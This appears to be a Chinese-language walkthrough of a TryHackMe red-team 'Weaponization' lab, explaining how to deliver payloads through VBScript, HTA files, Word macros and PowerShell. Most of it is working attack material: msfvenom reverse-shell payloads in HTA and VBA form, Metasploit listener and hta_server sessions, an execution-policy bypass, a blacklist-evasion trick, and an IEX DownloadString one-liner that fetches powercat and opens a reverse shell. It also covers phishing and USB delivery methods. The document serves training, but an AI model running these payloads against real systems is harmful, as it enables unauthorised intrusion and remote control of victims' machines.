什么是武器化

武器化是网络杀伤链模型的第二阶段。在此阶段,攻击者使用可交付的有效负载(如 word 文档、PDF 等 [ 1 ])生成和开发自己的恶意代码。武器化阶段旨在使用恶意武器攻击目标机器并获得初始访问权限。

大多数组织都在运行 Windows操作系统,这将成为一个可能的目标。组织的环境策略通常会阻止下载和执行 .exe文件以避免违反安全规定。因此,红队依赖于构建通过各种渠道发送的自定义有效负载,例如网络钓鱼活动、社会工程、浏览器或软件利用、USBWeb 方法。

下图是武器化的示例,其中使用精心制作的自定义 PDFMicrosoft Office 文档来传送恶意负载。自定义负载配置为连接回红队基础设施的命令和控制环境

有关红队工具包的更多信息,请访问以下内容:拥有所有内容的 GitHub 存储库,包括初始访问、有效负载开发、交付方法等。

大多数组织在其受控环境中阻止或监视.exe文件的执行 。出于这个原因,红队依赖于使用其他技术来执行有效载荷,例如内置的 Windows 脚本技术。因此,此任务侧重于各种流行且有效的脚本编写技术,包括:

  • Windows Script Host 脚本宿主 (WSH)
  • HTML 应用程序 ( HTA )
  • Visual Basic 应用程序 (VBA)
  • PowerShell (PSH)

Windows Scripting Host (WSH)

Windows 脚本宿主 (WSH)

Windows 脚本宿主是一个内置的 Windows 管理工具,它运行批处理文件以自动执行和管理操作系统中的任务。

它是 Windows 原生引擎,cscript.exe (用于命令行脚本)和wscript.exe (用于 UI 脚本),负责执行各种 Microsoft Visual Basic Sc​​ripts (VBScript),包括vbsvbe。有关 VBScript 的更多信息,请访问此处。请务必注意,Windows 操作系统上的 VBScript 引擎以与普通用户相同级别的访问权限和权限运行和执行应用程序;因此,它对红队很有用。

现在让我们编写一个简单的 VBScript 代码 来创建一个显示 Welcome to THM 消息的 Windows 消息框。确保将以下代码保存到文件中,例如 hello.vbs

Dim message 
message = "Welcome to THM"
MsgBox message

在第一行中,我们 使用 Dim声明了message变量。 然后我们在 消息变量中存储一个字符串值 Welcome to THM。在下一行中,我们使用 MsgBox 函数来显示变量的内容。有关 MsgBox 函数的更多信息,请访问此处。然后,我们使用wscript运行并执行hello.vbs 的内容 。 结果,Windows 消息将弹出 Welcome to THM 消息

在让我们使用 VBScript 来运行可执行文件。以下vbs代码是调用Windows计算器,证明我们可以使用Windows原生引擎(WSH)执行.exe文件

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

我们使用 CreateObject创建WScript库的对象来调用执行负载。然后,我们利用 Run 方法来执行有效负载。对于此任务,我们将 运行 Windows 计算器calc.exe

要执行exe文件,我们可以使用wscript运行它,如下所示,

c:\Windows\System32>wscript c:\Users\thm\Desktop\payload.vbs

我们也可以通过cscript运行它,如下所示,

c:\Windows\System32>cscript.exe c:\Users\thm\Desktop\payload.vbs

结果,Windows 计算器将出现在桌面上

另一个技巧。如果 VBS 文件被列入黑名单,那么我们可以将文件重命名为.txt文件并使用wscript运行它,如下所示,

c:\Windows\System32>wscript /e:VBScript c:\Users\thm\Desktop\payload.txt

结果是一样的

HTML 应用程序 ( HTA )

HTA代表“HTML 应用程序”。它允许您创建一个可下载的文件,该文件包含有关其显示和呈现方式的所有信息。HTML 应用程序,也称为 HTA,是包含 JScriptVBScript 的动态 HTML页面。LOLBINS (Living-of-the-land Binaries) 工具 mshta用于执行HTA文件。它可以自己执行,也可以从 Internet Explorer 自动执行。

在以下示例中,我们将在我们的有效负载中使用 ActiveXObject 作为执行cmd.exe 的概念证明 。考虑以下 HTML 代码

<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

然后从 Web 服务器提供 payload.hta ,这可以从攻击机器完成,如下所示,

user@machine$ python3 -m http.server 8090
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/)

在受害机器上,使用 Microsoft Edge 访问恶意链接 http://10.8.232.37:8090/payload.hta 。请注意, 10.8.232.37攻击机IP 地址

一旦我们按下 运行, payload.hta 就会 被执行,然后它会调用 cmd.exe 。下图说明我们已经成功执行了 cmd.exe

HTA 反向连接

我们可以创建一个反向 shell payload,如下所示,

user@machine$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o thm.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hta-psh file: 7692 bytes
Saved as: thm.hta

我们使用 Metasploit框架中的 msfvenom生成恶意负载以连接回攻击机器。我们使用以下有效负载将 windows/x64/shell_reverse_tcp连接到我们的 IP 和侦听端口。

在攻击机器上,我们需要使用 nc监听443端口 。请注意,此端口需要 root 权限才能打开,或者您可以使用其他权限。

一旦受害者访问恶意 URL 并点击运行,我们就会获得连接

user@machine$ sudo nc -lvp 443
listening on [any] 443 ...
10.8.232.37: inverse host lookup failed: Unknown host
connect to [10.8.232.37] from (UNKNOWN) [10.10.201.254] 52910
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\thm\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads>
pState\Downloads>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet 4:

   Connection-specific DNS Suffix  . : eu-west-1.compute.internal
   Link-local IPv6 Address . . . . . : fe80::fce4:699e:b440:7ff3%2
   IPv4 Address. . . . . . . . . . . : 10.10.201.254
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.10.0.1

通过 Metasploit 的 恶意HTA

还有另一种使用 Metasploit 框架生成和提供恶意HTA文件的方法。首先,使用msfconsole -q命令运行 Metasploit 框架 。 exploit部分下有 exploit/windows/misc/hta_server, 需要选择并设置 LHOSTLPORTSRVHOSTPayload等信息, 最后执行 exploit运行模块

msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set LHOST 10.8.232.37
LHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set LPORT 443
LPORT => 443
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.8.232.37
SRVHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/misc/hta_server) >
[*] Started reverse TCP handler on 10.8.232.37:443
[*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta
[*] Server started.

在受害机器上,一旦我们访问由 Metasploit 作为 URL 提供的恶意HTA文件,我们应该会收到一个反向连接。

user@machine$ [*] 10.10.201.254    hta_server - Delivering Payload
[*] Sending stage (175174 bytes) to 10.10.201.254
[*] Meterpreter session 1 opened (10.8.232.37:443 -> 10.10.201.254:61629) at 2021-11-16 06:15:46 -0600
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DESKTOP-1AU6NT4
OS              : Windows 10 (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > shell
Process 4124 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\app>

Visual Basic (VBA)

VBA 代表 Visual Basic for Applications,这是 Microsoft 为 Microsoft Word、Excel、PowerPoint 等 Microsoft 应用程序实施的一种编程语言。VBA 编程允许自动执行用户与 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务。

宏是 Microsoft Office 应用程序,其中包含以称为 Visual Basic for Applications (VBA) 的编程语言编写的嵌入式代码。它用于创建自定义功能,以通过创建自动化流程来加速手动任务。 VBA 的功能之一是访问 Windows 应用程序编程接口 ( API ) 和其他低级功能。有关 VBA 的更多信息,请访问此处

现在创建一个新的空白 Microsoft 文档来创建我们的第一个 。目的是讨论该语言的基础知识,并展示如何在打开 Microsoft Word 文档时运行它。首先,我们需要通过选择 viewmacros来打开 Visual Basic 编辑器。宏窗口显示在文档中创建我们自己的宏。

宏名称 部分,我们选择将宏命名为 THM 。请注意,我们需要 从 列表Document1中的宏中进行选择 ,最后选择 Create。接下来,Microsoft Visual Basic for Application 编辑器显示了我们可以在何处编写 VBA 代码。让我们尝试显示一个包含以下消息的消息框: Welcome to Weaponization Room!. 我们可以使用 MsgBox 函数来做到这一点,如下所示:

Sub THM()
  MsgBox ("Welcome to Weaponization Room!")
End Sub

最后,通过F5RunRun Sub/UserForm运行宏

现在,为了在文档打开后自动执行 VBA 代码,我们可以使用内置函数,例如 AutoOpenDocument_open。请注意,我们需要指定文档打开后需要运行的函数名称,在我们的例子中是 THM 函数

Sub Document_Open()
  THM
End Sub

Sub AutoOpen()
  THM
End Sub

Sub THM()
   MsgBox ("Welcome to Weaponization Room!")
End Sub

重要的是要注意,要使宏起作用,我们需要将其保存为启用宏的格式,例如.docdocm。现在让我们将文件保存为Word 97-2003 模板,通过转到文件保存 Document1并保存为类型 → Word 97-2003 文档启用 宏,最后保存`

让我们关闭我们保存的 Word 文档。 如果我们重新打开文档文件,Microsoft Word 将显示一条安全消息,指示宏已被禁用,并为我们提供启用它的选项。让我们启用它并继续检查结果

一旦我们允许 启用内容,我们的宏就会如图所示执行,

现在编辑 word 文档并创建一个执行calc.exe 或任何可执行文件的宏函数作为概念证明,如下所示,

Sub PoC()
	Dim payload As String
	payload = "calc.exe"
	CreateObject("Wscript.Shell").Run payload,0
End Sub

为了详细解释代码,使用 Dim payload As String,我们使用Dim关键字将payload 变量声明为字符串 。使用 payload = "calc.exe"我们指定负载名称,最后使用 CreateObject("Wscript.Shell").Run payload我们创建一个 Windows 脚本宿主 (WSH) 对象并运行负载。请注意,如果要需要在打开文件是起作用,则还必须在AutoOpen()Document_open()函数中包含函数名称 。

确保在使用编辑器中的运行功能保存文档之前测试您的代码。确保在保存文档之前创建AutoOpen()Document_open()函数。代码运行后,现在保存文件并尝试再次打开它

值得一提的是,我们可以将 VBA 与之前介绍的方法(例如 HTAWSH)结合使用。VBA/宏本身并不能绕过任何检测

现在让我们使用 Metasploit 框架创建一个内存中的 meterpreter 负载来接收反向 shell。首先,在 AttackBox 中,我们使用 msfvenom创建我们的 meterpreter payload 。我们需要指定 PayloadLHOSTLPORT ,它们与 Metasploit 框架中的内容相匹配。 请注意,我们将有效负载指定为 VBA 以将其用作宏

user@AttackBox$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of vba file: 2698 bytes

导入以注意需要进行一项修改才能使此工作正常进行。输出将在 MS Excel 工作表上工作。因此,将 Workbook_Open()更改为 Document_Open()以使其适用于 MS word 文档

现在复制输出并将其保存到 MS word 文档的宏编辑器中,如我们之前所示。

在攻击机器上,运行 Metasploit 框架并按如下方式设置侦听器:

user@AttackBox$ msfconsole -q
msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.50.159.15
LHOST => 10.50.159.15
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.50.159.15:443 

一旦在受害者机器上打开恶意 MS word 文档,我们应该会收到一个反向 shell

msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.50.159.15:443 
[*] Sending stage (176195 bytes) to 10.10.215.43
[*] Meterpreter session 1 opened (10.50.159.15:443 -> 10.10.215.43:50209) at 2021-12-13 10:46:05 +0000
meterpreter >

PowerShell-PSH

PowerShell是一种面向对象的编程语言,从 .NET ,但遗留用途有一些例外。查看 TryHackMe 房间Hacking with PowerShell 了解有关 PowerShell 的更多信息

Write-Output "Welcome to the Weaponization Room!"

将文件另存为 thm.ps1 。 使用 Write-Output ,我们打印消息“Welcome to the Weaponization Room!” 到命令提示符。 现在让我们运行它并查看结果

C:\Users\thm\Desktop>powershell -File thm.ps1
File C:\Users\thm\Desktop\thm.ps1 cannot be loaded because running scripts is disabled on this system. For more
information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
    + CategoryInfo          : SecurityError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnauthorizedAccess

C:\Users\thm\Desktop>

执行政策

PowerShell 的执行策略是一个 安全选项,用于保护系统免于运行恶意脚本。默认情况下,Microsoft出于安全目的禁止执行PowerShell脚本.ps1PowerShell执行策略设置为Restricted ,这意味着它允许单独的命令但不允许运行任何脚本

您可以按如下方式确定 Windows 的当前PowerShell设置,

PS C:\Users\thm> Get-ExecutionPolicy
Restricted

我们还可以通过运行以下命令轻松更改PowerShell执行策略:

PS C:\Users\thm\Desktop> Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A

直接使用Set-ExecutionPolicy RemoteSigned也可以更改

绕过执行策略

Microsoft 提供了禁用此限制的方法。其中一种方法是为PowerShell命令提供一个参数选项,以将其更改为所需的设置。例如,我们可以将其更改为绕过策略,这意味着没有任何内容被阻止或限制。这很有用,因为它可以让我们运行自己的PowerShell脚本。

为了确保我们的PowerShell文件得到执行,我们需要在参数中提供绕过选项,如下所示

C:\Users\thm\Desktop>powershell -ex bypass -File thm.ps1
Welcome to Weaponization Room!

现在,让我们尝试使用一种用PowerShell编写的工具powercat来获取反向 shell 。在你的 AttackBox 上,从 GitHub 下载它并运行一个网络服务器来传送有效负载

user@machine$ git clone https://github.com/besimorhino/powercat.git
Cloning into 'powercat'...
remote: Enumerating objects: 239, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 239 (delta 0), reused 2 (delta 0), pack-reused 235
Receiving objects: 100% (239/239), 61.75 KiB | 424.00 KiB/s, done.
Resolving deltas: 100% (72/72), done.

现在,我们需要在该 AttackBox 上设置一个 Web 服务器来为将在目标机器上下载和执行的powercat.ps1提供服务。接下来,将目录更改为 powercat 并开始侦听您选择的端口。在我们的例子中,我们将使用端口 8080

user@machine$ cd powercat
user@machine$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

在 AttackBox 上,我们需要使用nc监听端口1337以接收来自受害者的连接。

user@machine$ nc -lvp 1337

现在,我们从受害机器上下载有效载荷并使用PowerShell有效载荷执行它,如下所示,

C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"

现在我们已经执行了上面的命令,受害者机器从我们的网络服务器(在 AttackBox 上)下载 powercat.ps1 有效载荷,然后使用 cmd.exe 在目标本地执行它,并将连接发送回正在侦听的 **AttackBox**在端口1337`上。几秒钟后,我们应该收到连接回调:

user@machine$ nc -lvp 1337  listening on [any] 1337 ...
10.10.12.53: inverse host lookup failed: Unknown host
connect to [10.8.232.37] from (UNKNOWN) [10.10.12.53] 49804
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\thm>

命令与控制 -(C2 或 C&C)

什么是Command and Control (C2)?

C2框架是后开发框架,允许红队协作和控制受感染的机器。C2 被认为是红队在进攻性网络行动中最重要的工具之一。C2 框架提供快速和直接的方法来:

  • 生成各种恶意负载
  • 枚举受感染的机器/网络
  • 执行权限升级和旋转
  • 横向运动
  • 还有很多其他的

我们将简要介绍一些流行的C2框架,包括 Cobalt Strike、PowerShell EmpireMetasploit。这些框架中的大多数旨在支持一个方便的环境, 以便在获得对系统的初始访问权限后在红队操作之间进行共享和通信

Cobalt Strike

Cobalt Strike 是一个专注于对抗模拟和红队操作的商业框架。它结合了远程访问工具、后期开发功能和独特的报告系统。它为代理提供了建立秘密通信和执行各种操作的高级技术,包括键盘记录、文件上传和下载、VPN 部署、权限升级技术、mimikatz、端口扫描和最高级的横向移动

PowerShell Empire

PowerShell Empire 是一个开源框架,可帮助红队操作员和渗透测试人员使用密钥和共享密码跨多个服务器进行协作。它是一个基于 PowerShell 和 Python 代理的开发框架。PowerShell Empire 专注于 Windows 和 Active Directory 环境的客户端和后期开发。 如果您想了解有关PowerShell Empire 的更多信息,我们建议您试试这个房间:Empire

Metasploit

Metasploit 是一种广泛使用的开发框架,它提供各种技术和工具来轻松执行黑客攻击。它是一个开源框架,被认为是渗透测试和红队操作的主要工具之一。Metasploit 是我们在这个房间里用来为我们的武器化阶段生成有效载荷的工具之一

传递技巧

交付技术是获得初始访问权的重要因素之一。他们必须看起来专业、合法且对受害者有说服力,才能跟进内容。

电子邮件递送

这是通过发送带有链接或附件的网络钓鱼电子邮件来发送有效负载的常用方法。如需了解更多信息,请访问此处。此方法会附加一个恶意文件,该文件可能是我们之前提到的类型。目标是说服受害者访问恶意网站或下载并运行恶意文件以获得对受害者网络或主机的初始访问权限。

红队应该有自己的网络钓鱼基础设施。根据红队参与要求,它需要在电子邮件服务器中设置各种选项,包括域名密钥识别邮件 ( DKIM )、发件人策略框架 (SPF) 和 DNS 指针 (PTR) 记录。

红队还可以使用第三方电子邮件服务,如谷歌 Gmail、Outlook、雅虎等信誉良好的服务。

另一种有趣的方法是使用公司内部的受感染电子邮件帐户在公司内部或向其他人发送网络钓鱼电子邮件。受感染的电子邮件可能会被网络钓鱼或其他技术(例如密码喷射攻击)入侵。

网络交付
另一种方法是在红队控制的网络服务器上托管恶意负载。Web 服务器必须遵循安全准则,例如其域名和 TLS(传输层安全)证书的干净记录和声誉。如需更多信息,请访问此处

此方法包括其他技术,例如对受害者进行社会工程以访问或下载恶意文件。使用此方法时,URL 缩短器可能会有所帮助。

在这种方法中,可以结合使用其他技术。攻击者可以利用零日攻击,例如利用易受攻击的软件(如 Java 或浏览器)在网络钓鱼电子邮件或 Web 传送技术中使用它们来获取对受害计算机的访问权限。

USB 传输

此方法要求受害者物理插入恶意 USB。这种方法在对手可以分发 USB 的会议或活动中可能有效且有用。有关 USB 传送的更多信息,请访问此处

通常,出于安全目的,组织会制定强有力的政策,例如在其组织环境中禁用 USB。而其他组织允许它在目标环境中使用。

用于武器化 USB 设备的常见 USB 攻击包括Rubber Ducky和​​USBHarpoon,充电 USB 电缆,例如 O.MG Cable

练习场

我们准备了一台运行用户模拟网络应用程序的 Windows 10 机器来执行您的有效负载或自动访问恶意HTA链接

Web 应用程序允许将有效负载上传为 VBS、DOC、PS1 文件。此外,如果您提供恶意HTA链接,Web 应用程序将访问您的链接

Doc 文件注意事项:提供的 Windows 10 机器中使用的模拟将打开恶意 Word 文档并在90秒内关闭。为了获得更长的先见之明,您需要在收到连接后立即迁移

Metasploit 框架中,我们可以使用 migrate将当前进程注入到受害者机器上的另一个进程中。在我们的例子中,我们需要将我们当前的进程,也就是 MS word 文档迁移到另一个进程中,以便即使关闭 MS word 文档也能保持连接稳定。最简单的方法是使用 migrate post-module 如下

meterpreter > run post/windows/manage/migrate 

[*] Running module against DESKTOP-1AU6NT4
[*] Current server process: svchost.exe (3280)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 4960
[+] Successfully migrated into process 4960

在此任务中,目标是生成您选择的反向 shell 负载并通过 Web 应用程序发送它。一旦 Web 应用程序运行您的有效负载,您应该会收到一个返回连接。回答下面的问题并在收到反向 shell 后通过查找标志来证明您的访问权限

思路,首先使用hta获得初始访问权限,然后一次上传VBS、DOC、PS1 再次进行反弹 shell测试

ps1注意事项

  • 在使用.ps1后缀文案是,需要使用Import-Modules 文件名.ps1导入和才可以使用该文件的命令

VBS文件可以直接使用msfvenom生成

DOC文件直接将payload加入中即可